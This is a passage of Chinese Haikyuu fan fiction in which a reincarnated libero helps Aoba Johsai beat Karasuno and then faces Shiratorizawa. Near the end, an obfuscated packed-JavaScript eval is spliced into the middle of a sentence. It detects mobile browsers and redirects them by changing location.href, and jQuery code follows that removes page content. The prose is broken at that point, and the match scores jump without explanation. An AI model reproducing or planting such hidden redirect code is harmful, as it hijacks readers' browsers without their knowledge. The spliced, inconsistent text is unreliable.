影山开始频繁地使用后排进攻和交叉跑动,打乱青城的防守阵型。 日向的跑动路线越来越复杂,松川和金田一的拦网开始出现偏差。 伊藤的判断开始受到考验。 他需要在极短的时间内判断出乌野的进攻线路,然后移动到正确的位置。 他的技术已经达到了5——这是他穿越以来最高的数值,但面对乌野这种级别的进攻,5的技术还远远不够。 第七分。 影山托了一个高球给东峰。 东峰起跳,扣球——球瞄准了青城后排的左侧边线。 伊藤判断出了落点,移动了过去,但他的脚步慢了一步——球从他的前臂侧面滑了过去,落在了界内。 乌野得分。 伊藤回过头,看着球的落点。 他的判断没有错,但移动速度不够。 速度4的短板在正式比赛中被放大了——他能看到球会飞向哪里,但他的身体跟不上他的判断。 他深吸了一口气,蹲低身体。 第八分。影山托给田中。 田中的扣球力量很大,但角度不刁钻。 伊藤接了起来,送到了及川的手中。 及川托给岩泉,岩泉扣球得分。 第九分,影山再次托给东峰。这一次伊藤提前移动了半步,球稳稳地接了起来。 第十分。十一分。十二分。 比分在不断地交替上升。 十三比十一,十五比十三,十七比十五。 青城始终保持着两到三分的领先,但乌野每一次都能把分差缩小到一分。 伊藤的手臂开始发红,他的膝盖开始隐隐作,。他的体力在快速消耗——正式比赛的强度比训练高了不止一个档次,每一个球都需要全力以赴。 但他没有停下来。 第十九分。乌野的发球。 影山的跳飘球飞向伊藤的方向——球在空中飘忽不定,落点难以判断。 伊藤盯着影山的手腕,在球过网的瞬间判断出了大致的落点范围。 他移动了过去,但球飘向了另一个方向。 他调整方向,追了过去,在球即将落地的前一刻,用前臂将球兜了起来。 球弹起来,飞向了及川的方向,弧线很低,但方向是对的。 及川追上了球,托给国见,国见扣球得分。 二十比十八。青城领先。 伊藤趴在地上,大口大口地喘着气。 他的前臂火辣辣地疼,膝盖上的旧伤在每一次移动中都在抗议。 但他爬了起来,拍了拍膝盖上的灰,回到了自己的位置。 及川看了他一眼,没有说话。 但那个眼神里有一种东西——不是感谢,不是认可,而是一种“我和你站在一起”的确认。 比分来到了二十三比二十一,青城领先两分。 乌野叫了暂停。 暂停结束后,影山站在发球区,手里转着球。 他的表情比任何时候都更加专注——他知道,这是乌野最后的机会。 他抛球,助跑,起跳。 球以极快的速度飞向青城的后场,瞄准了伊藤防守区域的边缘。 伊藤移动了过去,接了起来,但球没有送到位——他的手臂已经快要没有知觉了。 及川追了两步,在不利的位置托球。 他托给了岩泉,岩泉扣球——西谷接了起来。 影山托给日向,日向起跳——松川和金田一的拦网封住了他的线路,但他没有扣球,而是将球拨到了拦网球员的手上。 球弹出了界外。 乌野得分。二十三比二十二。 青城叫了暂停。 伊藤走到场边,拿起水瓶喝了一大口水。 他的手在发抖——不是因为紧张,而是因为太累了。 他的双腿像灌了铅一样沉重,他的前臂已经红肿得快要失去知觉。 教练蹲下来,看着伊藤的眼睛。 “还能打吗?” 伊藤看着教练,然后看了看比分板。 二十三比二十二。 再得两分,青城就赢了;再丢两分,乌野就追平了。 “能。”他说。 暂停结束。青城发球。 及川的跳发球直接ACE,二十四比二十二,青城拿到了赛点。 伊藤站在后排,看着对面的乌野。 西谷站在后排中央,表情平静。 他看了伊藤一眼,然后点了点头,那个点头里没有敌意,只有一种自由人之间特有的尊重。 乌野发球。 影山的发球瞄准了青城的前排球员。 金田一接了起来,送到了及川的手中。 及川托给岩泉,岩泉起跳——西谷已经等在了那里。 他接起了岩泉的扣球,送到了影山的手中。 影山托给日向,日向起跳——松川和金田一的拦网封住了他的所有线路,但日向在最后一刻改变了扣球的方式,球从拦网球员的手臂旁边擦了过去,落在了青城的场地上。 二十四比二十三。乌野追回一分。 赛点,但还没有结束。 伊藤看着那个球落地的位置,就在他的左侧不到一米的地方。 他应该能接到的。 如果他的判断再快零点一秒,如果他的移动再快一步,如果他的体力再充足一些——他能接到的。 但球落地了。 比分二十四比二十三。青城赛点。 及川站在底线后,手里转着球。 他的表情很平静,平静到有些不真实。 他看着对面的乌野,看着影山,看着日向,看着西谷。 然后他抛球,助跑,起跳。 球以他今天最快的速度飞向乌野的后场。 西谷接了起来。 球送到了影山的手中。影山托给了日向。 日向起跳。 他的身体在空中舒展,手臂后拉。 松川和金田一起跳拦网。 伊藤站在后排,蹲低身体,双手前伸。 他的脑海中忽然闪过一个画面——前世的自己,二十三岁,坐在空荡荡的体育馆里,手里拿着那双磨平了鞋底的排球鞋。那是他放弃排球的那一天。 但那是前世的事了。 现在的他站在这里,站在IH预选赛的赛场上,站在离全国大赛最近的地方。 他的手臂在疼,他的膝盖在疼,他的体力已经到了极限。 但他没有放弃。 他不会再放弃了。 球从松川和金田一的拦网之间穿过,砸向了青城的后场。 伊藤移动了。 他的右脚直接跨出,身体侧对球的方向,他的前臂在球接触的瞬间微微放松,呼气。 球砸在他的前臂上。 弹了起来。 飞向了及川的方向。 弧线不高,但方向很正。 及川追上了球,托给了岩泉。 岩泉起跳。 扣球。 球穿过了西谷的防守,砸在了乌野的场地上。 落地了。 哨声响了。 二十五比二十三。 青叶城西赢了。 伊藤站在场上,大口大口地喘着气。 他的手臂在发抖,他的腿在发抖,他的整个身体都在发抖。 但他没有倒下。 他看着比分板上的数字——二十五比二十三,二比一,青叶城西晋级。 金田一从网前跑过来,一把搂住了伊藤的肩膀。 他的眼眶红了,声音有些哽咽:“伊藤!我们赢了!我们赢了!” 国见走过来,面无表情地拍了一下伊藤的头。 那个动作很轻,但伊藤知道那是国见表达“干得好”的方式。 岩泉走过来,伸出手。 伊藤握住了他的手,岩泉的手掌粗糙而有力,握得很紧。 “你做到了。”岩泉说。 及川是最后一个走过来的。 他的表情很平静,但伊藤注意到他的眼角有些红。 他看着伊藤,没有说话,只是伸出手,揉了揉伊藤的头发。 那个动作很轻,很温柔。 伊藤低下头,他的眼眶也红了。 他做到了。 他上场了。他接球了。他赢了。 伊藤走到场边,拿起了自己的笔记本。 笔记本上密密麻麻地记录着今天的每一个球、每一次攻防、每一个细节。 他看着那些字迹,忽然觉得它们不再只是记录——它们是他存在的证明。 他打开系统面板。 技术:5 速度:4 力量:2 跳跃:2 爆发力:3 智力:5 数字没有变化。 但伊藤知道,真正的变化不在面板上,而在他的心里。 他看着对面的乌野。 日向翔阳正在擦眼泪,影山飞雄低着头站在那里,泽村大地一个一个地把队员搂进怀里。 伊藤低下头,把笔记本收进背包里。 剧情变了。 第二局的比分不再是二十三比二十五,而是三十二比三十。 青城差一点就输了。 是因为他的存在吗?是因为他在某个他不知道的地方做了什么,改变了这个世界的走向吗? 他不知道。 但有一件事他知道了——他不能再依赖前世的记忆了。 那些比分、那些结果、那些“一定会发生”的事情,在这个世界里都不再可靠。 从今天开始,他需要用自己的眼睛去看,用自己的判断去决定。 他走出体育馆,外面的雨已经停了。 天空依然是灰蒙蒙的,但云层之间裂开了一道缝隙,阳光从那里漏了下来,照在地面上的水洼里,反射出金色的光。 伊藤站在体育馆门口,深深地呼出一口气。 明天,青城要对阵白鸟泽。 他不知道结果会是什么。 但他会准备好的。 14.第十四章 14. 五月二十二日下午,IH宫城县预选赛半决赛。 青叶城西对阵白鸟泽学园。 体育馆的看台比上午更加拥挤。 伊藤有弥坐在替补席上,手心全是汗。 不是因为紧张。 而是场馆里的空气太闷了——上午乌野那场鏖战之后,通风系统就没能跟上人群散发的热量,空调吹出来的风带着一股敷衍的暖意,混着汗水的气味和橡胶鞋底摩擦地板的焦灼,像一层看不见的薄膜贴在皮肤上,让人喘不过气。 他的手臂上还残留着上午的印记。几块淡淡的红色,是接球时留下的。 渡上午打了全部三局,此刻坐在他旁边,正用冰袋敷着右手腕。 他的呼吸很平稳,但伊藤注意到他的拇指在冰袋上无意识地摩挲着——那是一个人在强迫自己放松时才会做的小动作。 伊藤看了渡一眼,没有说话。 金田一在他另一边坐着,表情比上午更加紧绷。 他的下巴绷成一条直线,嘴唇抿得发白,膝盖在轻微地抖动——不是害怕,是兴奋和紧张混合在一起时身体的本能反应。 他今天上午的发挥不错,但面对白鸟泽,他的身高优势将不再突出。 白鸟泽的副攻手平均身高比他还要高几公分。 国见靠着墙壁闭着眼睛,看起来像是在睡觉。 他的呼吸很浅很均匀,睫毛一动不动,几乎可以骗过任何人。 但伊藤注意到他的手指在大腿上轻轻敲击着——节奏很快,像是在打某种只有他自己能听懂的节拍。他在脑子里过战术。 及川站在场边,正在和岩泉说话。 他的嘴角没有那标志性的笑容。 什么表情都没有。 不是严肃,不是紧张,而是一种更深处的东西——像是把所有的情绪都压进了胸腔最底层,只留下一个空壳站在外面。 他的目光穿过球场,落在对面半场那个高大的身影上。 牛岛若利。 白鸟泽的王牌,全国三大王牌之一,连续六年带领白鸟泽打入全国大赛的绝对王者。 左撇子,身高一百八十九点五厘米,摸高三百四十五厘米。 伊藤在漫画里看过他的脸,在文字描述里读过他的数据,在读者的评论里感受过他的压迫感。 但那些都隔着屏幕,隔着纸张,隔着一个虚构世界的安全距离。 现在他坐在这里,距离那个男人不到三十米。 他能感觉到牛岛的存在本身就像一座山。 不是比喻,是物理意义上的实感——那个人的气场像是有了重量,压在整个体育馆的上空,压在每个青城队员的肩上。 横亘在宫城县所有队伍面前,三年了,没有人能翻过去。 青叶城西一次都没有赢过白鸟泽。 一次都没有。 及川从初中开始就挑战牛岛。 北川第一对抗白鸟泽初中部,始终屈居第二。 他拒绝了白鸟泽的橄榄枝,选择了青城,一次又一次地向牛岛发起挑战。 今年是他最后的机会。 伊藤的目光越过球场,落在白鸟泽的半场。 牛岛若利站在网前,正在做手腕的拉伸。 他的动作很慢,很从容。 脸上没有任何表情——不是面无表情,而是一种“我不需要多余的表情”的平静。 那种平静不是刻意维持的,而是从骨子里长出来的,像一棵树的根系,深深扎进地下,风吹不动,雨打不摇。 他穿着一号队服,左臂上的肌肉线条在灯光下格外明显。 那不是健身房里的装饰性肌肉,而是常年高强度训练留下的痕迹——每一根纤维都像是被反复撕裂后又重新生长出来的,粗粝、结实、充满爆发力。 他的身材在一群高中生中显得格外突出。 不是因为他特别高,而是因为他特别壮。 肩膀很宽,背部的肌肉像铠甲一样覆盖着整个上半身,从肩胛到腰际的线条像是用刀刻出来的。 天童觉站在牛岛旁边。 红色的头发在人群中格外显眼,像一团安静燃烧的火。 他的身体柔软得不可思议——做拉伸的时候几乎能把整个人折成两半,那种柔韧度放在一个身高超过一米九的男人身上,有一种违和感。 他的表情和牛岛截然不同。 牛岛是平静的冷漠,天童是带着笑意的放松。他正在跟旁边的队友说着什么,嘴角弯着,像是在聊一件很有趣的事情。 但伊藤知道那笑容下面的东西。 天童觉的直觉拦网是宫城县最强的。 他不是靠数据分析,不是靠经验判断,而是靠一种近乎本能的直觉——他能“闻到”攻手要扣球的方向。 那听起来像是玄学,但伊藤在漫画里见过太多次那种拦网了:球刚刚离开二传手的手指,天童的手臂就已经等在了球的落点上。 不是快,是预判。 精准到可怕的预判。 五色工站在场地的另一端,正在做发球练习。 他的表情严肃,动作标准,每一个球都扣得很认真。 作为一年级就被选入正选阵容的攻手,他的压力不小——白鸟泽的进攻体系围绕牛岛建立,但他必须在自己被分配到的进攻机会里拿出百分之百的表现,否则就会被替换下场。 但他的眼神里没有紧张。 只有一种“我要证明自己”的决心。 那种决心带着少年特有的锋利,像一把刚磨好的刀,迫不及待地想要出鞘。 白布贤二郎正在和濑见英太讨论战术。 白布是白鸟泽的正选二传手,二年级。 他的冷静沉稳不像一个十七岁的少年,更像一台精密的仪器——每一次托球的角度、高度、速度都精确到了极致。 他的表情很少变化,声音很少起伏,就连走路的速度都像是被测量过的。 濑见是三年级的替补二传手,头发染成了浅色,看起来有些桀骜不驯。 但他的实力并不比白布差——只是风格不同。 濑见的托球更有攻击性,更冒险,有时候会让人觉得“这个球不该这样托”,但结果往往出人意料。 大平狮音和川西太一站在网前,正在进行拦网的模拟练习。 大平是三年级的副攻手,身材高大,动作扎实。 他的存在感不如天童那么强,但伊藤知道,白鸟泽的拦网体系中,大平是那个“填缝隙”的人——当天童的直觉判断失误时,大平会用他的经验和判断力补上漏洞。 川西是二年级的副攻手,天童的搭档。 他的表情比白布还要冷淡,几乎看不出任何情绪波动。 但伊藤注意到他的目光一直在跟踪青城的攻手们——他在观察,在分析,在为每一个可能的拦网场景做准备。 山形隼人。 白鸟泽的自由人。 伊藤的目光在山形身上停了一下。 山形站在后排,正在做接球的热身。 他的动作干净利落,没有任何多余的部分——每一次屈膝、每一次摆臂、每一次移动都像是被编程过的,精确、高效、不浪费一丁点力气。 白鸟泽的整体防守不算强。 他们的体系围绕牛岛的进攻打造,一传和防守都不是强项。 但山形作为自由人,个人能力并不差,他的防守范围不大,但在他覆盖的区域内,很少有球能落地。 伊藤的视线最后回到了牛岛身上。 他想起了一个数据。 牛岛若利从小学四年级开始打排球,每天扣球三百次,一年超过十万次,到高中三年级为止,他已经扣了超过八十万次球。 八十万次。 同样的动作,重复八十万次。 那种极致的重复造就了极致的稳定——牛岛的扣球不是“发挥得好”或者“状态不错”,而是一种数学意义上的确定性。 就像太阳每天都会升起一样,牛岛若利每场比赛都会拿下二十分以上。 这不是预测,这是规律。 哨声响了。 声音在闷热的体育馆里回荡了一下,然后被墙壁弹回来,变成一种嗡嗡的低鸣。 双方队员入场。 及川和牛岛在网前握手。 两个人的目光交汇了一瞬。 及川的表情很平静。 牛岛的表情也很平静。 但伊藤注意到及川的手指握得很紧,指节泛白,像是要把什么东西捏碎在手掌心里。 “请多关照。”及川说。 “嗯。”牛岛应了一声。 一个字。 没有“请多关照”,没有“加油”,没有任何客套的废话。 他只是应了一声,然后面无表情地走回了自己的位置。 伊藤的心脏猛地跳了一下。 不是因为牛岛的态度——他早就知道牛岛是这样的。 而是因为他突然意识到了一件事。 青城和白鸟泽打了三年,一次都没有赢过。 一次都没有。 及川彻从初一开始就站在牛岛若利的对面,七年了,他从来没有赢过这个男人。 而现在,他站在网前,握着那个人的手,说“请多关照”。 他的表情那么平静。 伊藤不知道那种平静是怎么练出来的。 第一局,白鸟泽先发球。 牛岛站在底线后,手里转着球。 整个体育馆安静了下来。 那种安静不是寂静,而是一种被压迫出来的沉默——像是有什么东西悬在所有人的头顶,让大家不约而同地屏住了呼吸。 伊藤听到了自己的心跳声。 咚、咚、咚——像是有人在用拳头敲他的胸腔。 牛岛的发球姿势和及川不同。 没有那么夸张的助跑和起跳,但力量更加集中。他的动作简洁到近乎粗暴——抛球,助跑,起跳,挥臂。 球在他的手掌中被压缩了一下。 那是一个很细微的画面——排球的表面在接触牛岛手掌的瞬间微微凹陷,像是被一只无形的手捏了一下。然后球恢复原状,以不可能的速度飞了出去。 伊藤甚至没看清球的轨迹。 他只看到一道白色的线从牛岛的手中射出,像是子弹划过空气的残影。 那道线砸在青城后场的地板上。 弹起来。 撞到了后面的墙上。 “砰。” 整个体育馆都安静了。 不是夸张——是真的安静了。 白鸟泽的应援团举着旗子,嘴巴张着,但声音还没来得及发出来。青城的看台上,所有人的呼吸都停了一拍。 渡站在后排,手臂还保持着接球的姿势。 但他的前臂没有碰到球。 不是他不想接。 是球的速度太快了,快到他的身体来不及做出任何反应。 他的大脑告诉他“球来了”,但他的肌肉还没来得及收缩,球就已经在他身后弹了两下,滚到了广告牌旁边。 渡的眼睛微微睁大了一瞬。 那是一个很细微的表情变化,如果不是伊藤一直盯着他,根本不会注意到。 但伊藤看到了。 那不是一个自由人面对强发球时的紧张。 那是一个自由人意识到“我可能接不到这个球”时的动摇。 ACE。牛岛发球直接得分。 及川的表情没有变化。 但他的手攥紧了。 伊藤看到他的指节在球裤侧面用力地按了一下,像是在确认什么——确认自己的手还在,确认自己的身体还能动,确认自己还没有被那个球击垮。 牛岛的第二球。 同样的力量,同样的速度,但这一次瞄准了青城后排的左侧。 渡判断出了落点。 他的身体移动了过去——脚步很快,重心很低,手臂在身体前方形成了一个完美的接球平面。 球砸在他的前臂上。 “砰。” 那个声音比牛岛发球砸在地板上的声音更闷一些,但同样震耳。 球从渡的前臂上弹了起来——不,不是弹了起来,是被弹飞了。球飞出了场外的方向,旋转着,像是被施加了某种无法控制的力。 渡的接球动作很标准。 但他的手臂承受不住牛岛发球的冲击力。 伊藤看到他的前臂在发抖——不是害怕,而是肌肉被冲击后的自然反应。那种抖动的频率很快,像是手臂里面的肌肉纤维在集体痉挛。 牛岛的第三球。 这一次球速更快。 左撇子特有的旋转让球在空中划出了一道向左飘的弧线——那种飘不是风造成的,而是球本身的旋转改变了周围的气流,让球的飞行轨迹变得不可预测。 金田一判断失误。 他的身体向右移动了半步,但球向左飘了过去。 球从他的头顶飞过,砸在了他身后的地板上。 那半米的距离,像是一道无法跨越的鸿沟。 三比零。牛岛连续三个发球得分。 青城的看台上安静了。 那种安静和之前不一样——之前的安静是被压迫的沉默,现在的安静是窒息。像是有人把整个体育馆的空气都抽走了,所有人的胸腔都在塌陷。 白鸟泽的应援团爆发出巨大的欢呼声。 白色的旗帜在人群中翻滚,像一片翻涌的雪浪。“狮子奋迅”四个大字在旗帜上飘扬,每一下挥舞都像是在宣告一个事实:我们不会输。 教练叫了暂停。 青城的队员聚拢到场边。 没有人说话。 渡低着头,用毛巾擦着额头上的汗。 但他的额头上没有汗。 他只是需要用手做点什么来平复心情。他的前臂还在发抖,毛巾盖在上面,遮住了那片越来越红的皮肤。 “不要慌。”教练的声音很平静。 平静到有些不正常。 伊藤看着教练的脸,突然明白了那种平静的来源——不是因为他有把握赢,而是因为他早就预料到了这种情况。 三年了。三年了都是这样。牛岛的发球,白鸟泽的压迫感,青城的无力感——他已经见过太多次了。 “牛岛的发球,不要想着直接接到位。”教练的声音不带任何感情色彩,像是在念一份已经读过一百遍的报告,“先把球接起来再说。渡,你的站位再往后退半米,给自己更多的反应时间。” 渡点了点头。 他的动作很轻,但伊藤看到他的喉咙动了一下——他在吞咽,在把某种情绪咽下去。 “进攻端,不要急躁。白鸟泽的拦网很强,但他们的防守有缝隙。” 教练的手指在战术板上敲了两下,落在白鸟泽后场的两个位置上。 “及川,多用后排进攻和交叉跑动,打乱他们的防守阵型。” 及川没有说话。 他只是看着战术板,看着教练手指落下的那两个点,然后把目光移向了球场对面。 他的表情依然平静。 但伊藤注意到他的眼睛在微微眯起——不是紧张,不是愤怒,而是一种更危险的东西。 他在计算。 暂停结束。 哨声响起,伊藤的胸腔跟着震了一下。 白鸟泽继续发球。 这一次不是牛岛——连续三个发球得分后,发球权已经转移了。但白鸟泽的发球手同样不容小觑,天童的发球带着诡异的旋转,球的飞行轨迹像是喝醉了酒的人,左摇右摆,让人无法判断落点。 但渡接了起来。 他的手臂在球接触的瞬间微微后撤,卸掉了球的一部分冲击力。球弹了起来,弧线不高不低,不快不慢,稳稳地飞向了及川的方向。 送到位了。 及川的左手在空中展开,五根手指像是在弹钢琴一样依次张开,球落在他手掌的瞬间,他的手腕轻轻一沉,像是把球的动能吸进了自己的身体里。 然后他托给了岩泉。 岩泉起跳。 他的助跑只有两步——不是因为他跳不高,而是因为他知道白鸟泽的拦网不会给他留出三步助跑的时间。他的身体在网前拔地而起,右手后拉,肌肉从肩膀到手腕像是一条被拉满的弓弦。 白鸟泽的拦网已经在那里了。 天童和大平的双人拦网像一堵墙,封住了岩泉的扣球线路。两只手臂在网的上方并排伸着,手掌张开,像两把扇子,几乎覆盖了整个网口。 但岩泉瞬间用一个吓人的斜线球避开了拦网。 他的手腕在击球的最后一刻猛地一转,球从大平的指尖上方飞过,划出一道几乎平行于球网的弧线,落在了白鸟泽的场地上。 球砸在地板上的声音清脆而有力。 青叶城西得分。 伊藤的拳头不自觉地攥紧了。 发球权转移。 他听到身后的看台上有人在大声喊“青城”,声音嘶哑,像是已经喊了一整天。 青城发球。 及川站在底线后。 他的发球姿势和牛岛截然不同——助跑距离更长,起跳更高,身体的舒展程度更大。他的整个身体像是一张被拉到极限的弓,每一个关节都在储存能量,然后在击球的瞬间一次性释放出来。 球从他的手中飞出。 速度不及牛岛,但旋转更强。球在空中划出了一道明显的弧线,像一轮弯月,然后突然下坠。 白鸟泽的自由人山形判断出了落点。 他的身体移动了过去,脚步很快,重心很低。他的前臂在球接触的瞬间微微后撤,卸力——球弹了起来,弧线不高不低,不快不慢。 但球没有送到位。 不是山形接得不好,而是及川的发球旋转太强了——球在接触山形前臂的瞬间改变了方向,弹向了一个他意料之外的位置。 白布追了两步。 他的脚步很快,但球的落点太偏了,他不得不在身体失去平衡的状态下托球。 他托给了牛岛。 因为这是唯一的选择——在身体失去平衡的情况下,只有牛岛能在那种高度和角度下完成扣球。 牛岛起跳。 他的起跳高度让人窒息。 伊藤从替补席上看过去,牛岛的身体像是悬停在了空中——不是跳得最高,而是起跳的时机掌握得极好,刚好在青城拦网手开始下落的时候达到了最高点。 牛岛扣球。 球砸在青城的场地上。 渡没有接到。 不是他不想接——他判断出了球的落点,身体也移动了过去,但球速太快了,快到他的手臂刚伸出去,球就已经砸在地上了。 ACE。 比分四比一。 伊藤的手心又开始出汗了。 不是闷热,是紧张。 他的笔记本摊在膝盖上,笔尖抵着纸面,留下了一个小小的墨点。 他看着那个墨点在纸上慢慢扩散,突然意识到自己已经有好几秒没有呼吸了。 他深吸了一口气。 场馆里的空气依然闷热,带着汗水的咸味和橡胶的焦味。那种味道不好闻,但在此刻,它让伊藤感到一种真实的、活着的感觉。 比赛继续。 青城的发球策略在第一局后半段开始调整。 及川不再追求ACE,而是把球发到白鸟泽前排主攻手的接发区域。 大平的接发球能力不如山形。 第一个球,及川的发球直接瞄准了大平的身体。 大平的手臂伸了出去,但球砸在了他的手腕上,弹出了场外。 青城得分。 第二个发球,同样的区域。 大平勉强接了起来——他的前臂在球接触的瞬间做出了正确的动作,但球的旋转让他的卸力不够充分,球弹了起来,弧线很高,但方向偏了。 白布追了两步。 他的脚步很快,表情依然冷静。他在不利的位置起跳,身体在空中微微后仰,左手托球。 球飞向了牛岛的方向。 牛岛起跳——他的身体在空中完全舒展,左手后拉,然后猛地挥出。 球砸在青城的场地上。 但这一次,渡接了起来。 他的身体在球接触的瞬间做出了反应——前臂后撤,呼气,重心下沉。球弹了起来,弧线不高不低,不快不慢,稳稳地飞向了及川的方向。 及川的手掌在空中展开。 他的手指修长,关节分明,像是钢琴家的手。球落在他手掌的瞬间,他的手腕轻轻一沉,像是在称量球的重量。 然后他托给了国见。 国见起跳。 他的起跳高度不高,助跑距离很短,但他在空中的身体控制能力是青城最强的。他的上半身在起跳后微微后仰,右手后拉,看起来像是要扣球。 但他的手腕在击球的最后一刻突然放松了。 球从他的手掌中滑了出去,轻飘飘地越过了白鸟泽的拦网,落在了前排和后排之间的空档里。 吊球。 山形判断出了球的落点,鱼跃扑出。 他的身体在空中伸展,手臂在地板上滑行了一段距离,指尖碰到了球。 但球还是落地了。 不是他接不到,而是国见的吊球太轻了——轻到球在接触山形指尖的瞬间几乎没有改变方向,只是微微减速,然后继续下坠。 比分追到了四比二。 青城的看台上爆发出一阵欢呼。 伊藤的笔在本子上飞快地记录着:发球战术有效。继续针对大平。国见的吊球在白鸟泽的防守体系中找到了缝隙。 但他知道,这还不够。 白鸟泽的进攻体系以牛岛为核心。他们的二传手白布几乎每一个球都托给牛岛——不是因为他不会托给别人,而是因为托给牛岛就是最好的选择。 牛岛的力量、高度和左撇子的优势让他几乎无法被拦死。 即使被接起来,球的轨迹也会被破坏,变成白鸟泽的机会球——那种球速太快,冲击力太强,接球的人根本控制不住球弹起的方向和高度,往往是球弹起来后,白鸟泽的攻手已经等在了网前,准备二次进攻。 及川站在场上,看着对面的牛岛。 他的眼神里有火焰。 不是愤怒的火焰,而是一种更安静、更持久的燃烧——像是炭火,表面上看不到明火,但温度高得烫手。 青城发球。 及川的跳发球直接飞向了白鸟泽的后场底线。 山形判断出了落点——球会出界。 他没有接。 但球砸在了底线上。 ACE。 二十四比十六。 青城追回一分,但已经太晚了。 第一局的比分定格在二十五比十六。 白鸟泽拿下第一局。 局间休息的时候,伊藤坐在板凳上,手里的笔记本上画满了白鸟泽的战术图。 牛岛若利的每一个落点都在青城后场的两个角上,误差不超过三十厘米;天童的拦网喜欢封斜线,因为大部分攻手在压力下会选择打斜线。 白布在传球到位的情况下,他百分之七十以上的球会托给牛岛,但在传球不到位的情况下,这个比例会上升到百分之九十。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17460587|201213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他记录了白鸟泽防守体系中的缝隙——山形的防守范围在左侧比右侧强,因为他是右撇子,向左移动的速度更快。这意味着青城应该多打右侧的吊球。 白鸟泽的防守有两个问题。伊藤在心里默默总结着。 第一,一传体系脆弱。牛岛不参与接一传,两个主攻承担全部一传,但他们的接发球能力不如自由人。只要把球发到非自由人的区域,白鸟泽的一传就会出现偏差。 第二,拦防脱节。天童的直觉拦网很强,但拦网和后排防守之间缺乏配合。天童拦下来的球经常没有人跟进,因为后排防守的人判断不出天童会拦哪条线。 这些缝隙很小。 像头发丝一样细。 但它们是存在的。 青城需要做的就是找到这些缝隙,然后用及川的托球把它们撕开。 撕成大口子。 伊藤抬起头,看着及川。 及川坐在场边,正在喝水。 他的喉结上下动着,水从瓶口流进嘴里,有一些顺着下巴滑下来,滴在运动服上。他的表情依然平静,但他的呼吸频率比平时快了不少。 伊藤突然想起了一个细节。 在原著漫画里,及川彻在高中毕业后去了阿根廷,成为了阿根廷国籍,代表阿根廷参加了奥运会。 他的对面站着影山飞雄,站着日向翔阳,站着那些他曾经在宫城县交过手的人。 他站在世界的舞台上,面对那些比他更年轻、更有天赋、更有未来的后辈,用他的发球和托球和他们对抗。 那一幕,伊藤在读漫画的时候觉得热血沸腾。 但现在,坐在这闷热的体育馆里,看着及川喝水时微微发抖的手指,他突然理解了另一种东西。 及川彻不是一个“天才”。 他是一个“努力的天才”。 那些站在世界舞台上的人,大多数从出生开始就被选中了——他们的身高,他们的爆发力,他们的运动神经,都是基因彩票的头等奖。 但及川彻不是。 他的身高一百八十四厘米,在排球运动员里不算矮,但也不算高。他的弹跳力不错,但比不上牛岛。他的速度很快,但比不上影山。 他的一切都是“不错”的,但没有一项是“顶级”的。 他唯一顶级的,是他的意志力。 那种“我不会输给天才”的意志力,那种“我可以用努力打败天赋”的信念,那种“即使所有人都说我不行,我也要证明他们错了”的倔强。 那才是及川彻最可怕的地方。 第二局开始。 青城调整了发球策略。 及川站在底线后,手里转着球。 他的表情和第一局不同了——不是平静,而是一种更锐利的东西。像是一把刀,在第一局被白鸟泽的防守磨钝了,现在又重新磨快了。 他抛球,助跑,起跳。 球从他的手中飞出,速度比第一局更快。 球飞向了白鸟泽前排主攻手的接发区域——大平。 大平的接发球能力不如山形,第一个球直接接飞了。 青城得分。 及川的第二个发球。 同样的区域,但这一次球速更快,旋转更强。 大平勉强接了起来——他的前臂在球接触的瞬间做出了正确的动作,但球的旋转太强了,他的卸力不够充分,球弹了起来,弧线很高,但方向偏了。 白布追了两步。 他的脚步很快,表情依然冷静。他在不利的位置起跳,身体在空中微微后仰,左手托球。 球飞向了牛岛的方向。 牛岛起跳——他的身体在空中完全舒展,左手后拉,然后猛地挥出。 球砸在青城的场地上。 但这一次,渡在后排接了起来。 他的身体在球接触的瞬间做出了反应——前臂后撤,呼气,重心下沉。 球弹了起来,弧线不高不低,不快不慢,稳稳地飞向了及川的方向。 及川托给了国见。 国见扣球。 不——不是扣球。 国见在空中做出了扣球的姿势,但他的手腕在击球的最后一刻突然放松了,球从他的手掌中滑了出去,轻飘飘地越过了白鸟泽的拦网,落在了前排和后排之间的空档里。 吊球。 球落地了。 山形伸出了手臂,但他的指尖距离球还有几厘米。 那几厘米,像是一道无法跨越的鸿沟。 青城连得四分,将比分改写为四比零。 白鸟泽的教练叫了暂停。 伊藤的笔在本子上飞快地记录着。“发球战术有效。继续针对大平。” 他的手指在发抖——不是紧张,是兴奋。 他看着比分板上的数字,四比零。 青城领先。 他想起了一个画面。 在原著漫画里,青城从来没有在正式比赛中赢过白鸟泽。 一次都没有。 但那是原著。 现在坐在他面前的这些人是活生生的——他们的汗水是真实的,他们的呼吸是真实的,他们前臂上的红色印记是真实的。 他们的每一次得分,都是真实的。 暂停结束后,白鸟泽调整了接发球站位。 山形的防守范围进一步扩大,几乎覆盖了半个后场。 他站在后排中央,目光扫过青城的半场,像是在说:“发过来吧,我不会让你们再得分了。” 及川的发球不再像开局那样连续得分。 山形扩大防守范围后,白鸟泽的一传稳定性明显提升。大平的接发球区域被山形覆盖了一部分,他的压力减小了不少。 但青城的进攻节奏已经起来了。 岩泉的扣球穿过了天童和川西的拦网。 天童的手臂伸了出去,但他的指尖距离球还有不到十厘米——那种距离在排球比赛中等于不存在。 球从他的手指旁边飞过,砸在白鸟泽的后场上。 国见的吊球精准地落在了山形防守范围的边缘。 山形的身体移动了过去,但他的手臂伸出去的时候,球已经落地了——球落地的地方距离他的指尖只有几厘米,但排球比赛不看“几厘米”,只看“落地了还是没有落地”。 金田一的快攻利用身高优势直接得分。 他的起跳时机掌握得极好——球从及川的手中飞出去的同时,他已经开始起跳了。 他的身体在空中上升的时候,球刚好落在他的手掌里,他的手腕一压,球就越过了白鸟泽的拦网,砸在了地板上。 花卷的后排进攻让白鸟泽的防守阵型出现了混乱。 他在后排起跳,球从白鸟泽拦网手的头顶飞过,落在了后场——那个位置刚好是山形移动到前排补位后留下的空档。 比分交替上升。 